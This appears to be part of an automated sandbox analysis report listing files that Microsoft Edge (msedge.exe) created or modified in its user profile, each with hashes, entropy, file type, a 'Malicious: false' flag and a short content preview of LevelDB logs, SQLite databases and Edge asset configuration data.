Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376316924902331","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.283384923586608
Encrypted:	false
SSDEEP:	6:HURbEeAEq1923oH+Tcwtp3hBtB2KLlVURb99+q2P923oH+Tcwtp3hBWsIFUv:kNfYebp3dFL8Sv4Yebp3eFUv
MD5:	B5957BAD11D6AE6445FB7B229354CB48
SHA1:	9E6881E30B8E63F8C52A3DC8B49CD3914F3EDB02
SHA-256:	BFF08EC6DCC6C48688053EC32E9B63A525808F03C9866A32670A5D6DB9C53C1B
SHA-512:	FF6765AA55877F2A4F3D7599ECFFF635EBCB8626DFFBC3E25DCFA527245A3BDE7BDD225C7C5181189522B50F15E92E5461270741311722F6BDB909EC810BA514
Malicious:	false
Preview:	2024/11/17-06:35:29.995 1d88 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/17-06:35:30.008 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222886025722842
Encrypted:	false
SSDEEP:	24576:v+/PN8FafI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8gfx2mjF
MD5:	8E0A8AE7FF9F462C312533B2267C0118
SHA1:	5B45AB4B44D647AF95364036586A2A62A72C72F6
SHA-256:	9E2BF0781E7206CBD224D15909B0FC42741B6E20DE8EABFBE3CF3C564573EB39
SHA-512:	0F0268E87850A68846C16EC7F5016E3048E03BD0B4C4B113D7911810AB5C8CB1B1CD94406C4C11A52E8CBFCCA7B09B144835F5E76845011546C4526069EC9678
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.104522670237174
Encrypted:	false
SSDEEP:	6:HURbgq2P923oH+Tcwt9Eh1tIFUt8YURbznZmw+YURbd1kwO923oH+Tcwt9Eh15LJ:ksv4Yeb9Eh16FUt8bfn/+bH5LYeb9Ehx
MD5:	BFCF088D67681F05F79A291FC963069B
SHA1:	76415F1176394B5AA60DDA1B50B1AA45F8A75883
SHA-256:	35EEDBD678C537649D2166E7A9F247F3ACF5DC64588BC45623A12B489AD156B6
SHA-512:	A9B2235BE9E297AD1590F5C7925EA0962F772CB1E150AB994AE585899E5655A00BD19CCEF545CFFE1308089A390522A9C3A1FB49C5463C277811E2355E5F516C
Malicious:	false
Preview:	2024/11/17-06:35:30.000 2380 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/17-06:35:30.002 2380 Recovering log #3.2024/11/17-06:35:30.008 2380 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.104522670237174
Encrypted:	false
SSDEEP:	6:HURbgq2P923oH+Tcwt9Eh1tIFUt8YURbznZmw+YURbd1kwO923oH+Tcwt9Eh15LJ:ksv4Yeb9Eh16FUt8bfn/+bH5LYeb9Ehx
MD5:	BFCF088D67681F05F79A291FC963069B
SHA1:	76415F1176394B5AA60DDA1B50B1AA45F8A75883
SHA-256:	35EEDBD678C537649D2166E7A9F247F3ACF5DC64588BC45623A12B489AD156B6
SHA-512:	A9B2235BE9E297AD1590F5C7925EA0962F772CB1E150AB994AE585899E5655A00BD19CCEF545CFFE1308089A390522A9C3A1FB49C5463C277811E2355E5F516C
Malicious:	false
Preview:	2024/11/17-06:35:30.000 2380 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/17-06:35:30.002 2380 Recovering log #3.2024/11/17-06:35:30.008 2380 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4632797701037472
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBueFq:TouQq3qh7z3bY2LNW9WMcUvBueFq
MD5:	C060F9A28C98A3247330A07B132EA9AA
SHA1:	89C2D229994197CB6B78D58F9DCBF66CA2234D4D
SHA-256:	A06E77F28747AA30E870A05BAD76AB0C186C6069FCE6E407E320AD19B6301EA5
SHA-512:	B5D29EBC9DABF9750668E2E58E1632D3785754258D452FBB5ED210CE803725F613F6FFD44AE4ED90F8AAEB1E326562B6D265EC903AB5174C6AD5A167F5EE397A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.2022601903375865
Encrypted:	false
SSDEEP:	6:HURb1wTrq2P923oH+TcwtnG2tMsIFUt8YURb1w2fEZZmw+YURb1w2fEzkwO923oi:k+Trv4Yebn9GFUt8b+2sZ/+b+2sz5LYi
MD5:	39872AEAF183930D1F108AD680B46206
SHA1:	A0E84B39F1C43BA2CA5FAE261D642E468218B825
SHA-256:	154BD21DF54C308CC0EB35BE3DD0BEBCF18769DF0FC6B20E0FCA2CBD687A2A64
SHA-512:	50B73752FF4FBABBFF207D8A3E14082AC513DAAB03048046221EC3F0F9B65F6AAA4D6C05043AE88A9744A687703557699D17A4701AD76DF43E5F856A91E1FB74
Malicious:	false
Preview:	2024/11/17-06:35:24.436 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/17-06:35:24.437 1c10 Recovering log #3.2024/11/17-06:35:24.437 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.2022601903375865
Encrypted:	false
SSDEEP:	6:HURb1wTrq2P923oH+TcwtnG2tMsIFUt8YURb1w2fEZZmw+YURb1w2fEzkwO923oi:k+Trv4Yebn9GFUt8b+2sZ/+b+2sz5LYi
MD5:	39872AEAF183930D1F108AD680B46206
SHA1:	A0E84B39F1C43BA2CA5FAE261D642E468218B825
SHA-256:	154BD21DF54C308CC0EB35BE3DD0BEBCF18769DF0FC6B20E0FCA2CBD687A2A64
SHA-512:	50B73752FF4FBABBFF207D8A3E14082AC513DAAB03048046221EC3F0F9B65F6AAA4D6C05043AE88A9744A687703557699D17A4701AD76DF43E5F856A91E1FB74
Malicious:	false
Preview:	2024/11/17-06:35:24.436 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/17-06:35:24.437 1c10 Recovering log #3.2024/11/17-06:35:24.437 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6142313738255315
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWvDivRMAqAy:TLapR+DDNzWjJ0npnyXKUO8+jfRpxdmL
MD5:	DF0535F2EFDFAAC3FB3A055FC3398296
SHA1:	EB53C99D236761AFB48A9E7076A785029FC04B43
SHA-256:	92F4980E4C9069C6DF742CF0E4C66AE75D747B1E5B5FA1022EBD85733D569E22
SHA-512:	FFC30375BB7E26175C7C37D9EDC1F5C4303EACCBFE86D861EF0BCBB3C1686FF8756028FD18E1A9BE1ADE1F4AAB67D370242E5DD3FD4C16E6FB0FA9DE5B62A35E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.35410723079152
Encrypted:	false
SSDEEP:	6144:WA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:WFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	C3B8D4FC8D6CDED697EFE76CE87D458A
SHA1:	BDD3E7B96A71E68ABC10876B6F26CF44899DD2FC
SHA-256:	48505836D4F5580F00AE6705C2F84E85ADA020DEA2D16B7B108890EC9433F246
SHA-512:	DCA202A438462DF20BE0DDD7A4DA48FC981D5708A944186339FBF28334347039FB99FCBA6B3025A4159692A74DCB1836173E69729C9EBC19B0899D9379CE2FA9
Malicious:	false
Preview:	...m.................DB_VERSION.1T..?q...............&QUERY_TIMESTAMP:domains_config_gz2...13376316931718383..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.16609186662851
Encrypted:	false
SSDEEP:	6:HURb4q1923oH+Tcwtk2WwnvB2KLlVURbeQL+q2P923oH+Tcwtk2WwnvIFUv:kkYebkxwnvFL8aQL+v4YebkxwnQFUv
MD5:	82C1861F1EA62EA0B3EC2977EBF0BA81
SHA1:	1DEDFE575C1FE7395C2C9FFF110C6155CEBCA469
SHA-256:	245C6B3AECE0843B2D1729694CC3DBADDAA6DAC929FF35BB9177A698C7A471D2
SHA-512:	2365B8AF21675ED5C82D55B5713285B052217AE0547ED865DFF9F9A8C9F134E2A3319996E7822B14F9FAF6A7CD360BC4B6E11D181E6052ACA5C5C71F8DEEFF82
Malicious:	false
Preview:	2024/11/17-06:35:30.035 23cc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/17-06:35:30.066 23cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.324604637487077
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rb:C1gAg1zfvj
MD5:	06F8DA29BBAE99E8576E5859F339EC9E
SHA1:	E83793EAAA6939CA8E806AC00D818411627AF79C
SHA-256:	66378F1D06C7C72D2828A6757CD21DD0C9E0DDB8DC510CD718BD793BDACF128B
SHA-512:	6656EC1F08BBF89FF08F759F5245F9334CA5FDBD93C017A992DBA651692B7F725D45B3985536BE20F8083FE1109FC8CCB46A2AA264CB45DE2C8E4BF185587843
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.165826757666772
Encrypted:	false
SSDEEP:	6:HURb10XaIq2P923oH+Tcwt8aPrqIFUt8YURb101Zmw+YURb10nkwO923oH+Tcwtc:k6Xrv4YebL3FUt8b61/+b6n5LYebQJ
MD5:	7C6030C488BB183A4ECC6766B9EE09DC
SHA1:	FE1705CE7A4893B060D8189BC82D93BF739F0C30
SHA-256:	AFCDC94153894B60C5BCC89C01E65D43C22E6243CEC0363FD91337DCD4C3EA18
SHA-512:	07D7895BA2D3733B0BE17BED073D3DACA073C5F47EA23478CDC6B4757B61599BB8AB6FA30928DBCC5B2CDD2F782DE2B7BC2B36911637E45C50A05B4DADA8A712
Malicious:	false
Preview:	2024/11/17-06:35:24.472 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/17-06:35:24.473 1c10 Recovering log #3.2024/11/17-06:35:24.473 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.165826757666772
Encrypted:	false
SSDEEP:	6:HURb10XaIq2P923oH+Tcwt8aPrqIFUt8YURb101Zmw+YURb10nkwO923oH+Tcwtc:k6Xrv4YebL3FUt8b61/+b6n5LYebQJ
MD5:	7C6030C488BB183A4ECC6766B9EE09DC
SHA1:	FE1705CE7A4893B060D8189BC82D93BF739F0C30
SHA-256:	AFCDC94153894B60C5BCC89C01E65D43C22E6243CEC0363FD91337DCD4C3EA18
SHA-512:	07D7895BA2D3733B0BE17BED073D3DACA073C5F47EA23478CDC6B4757B61599BB8AB6FA30928DBCC5B2CDD2F782DE2B7BC2B36911637E45C50A05B4DADA8A712
Malicious:	false
Preview:	2024/11/17-06:35:24.472 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/17-06:35:24.473 1c10 Recovering log #3.2024/11/17-06:35:24.473 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.197749464628142
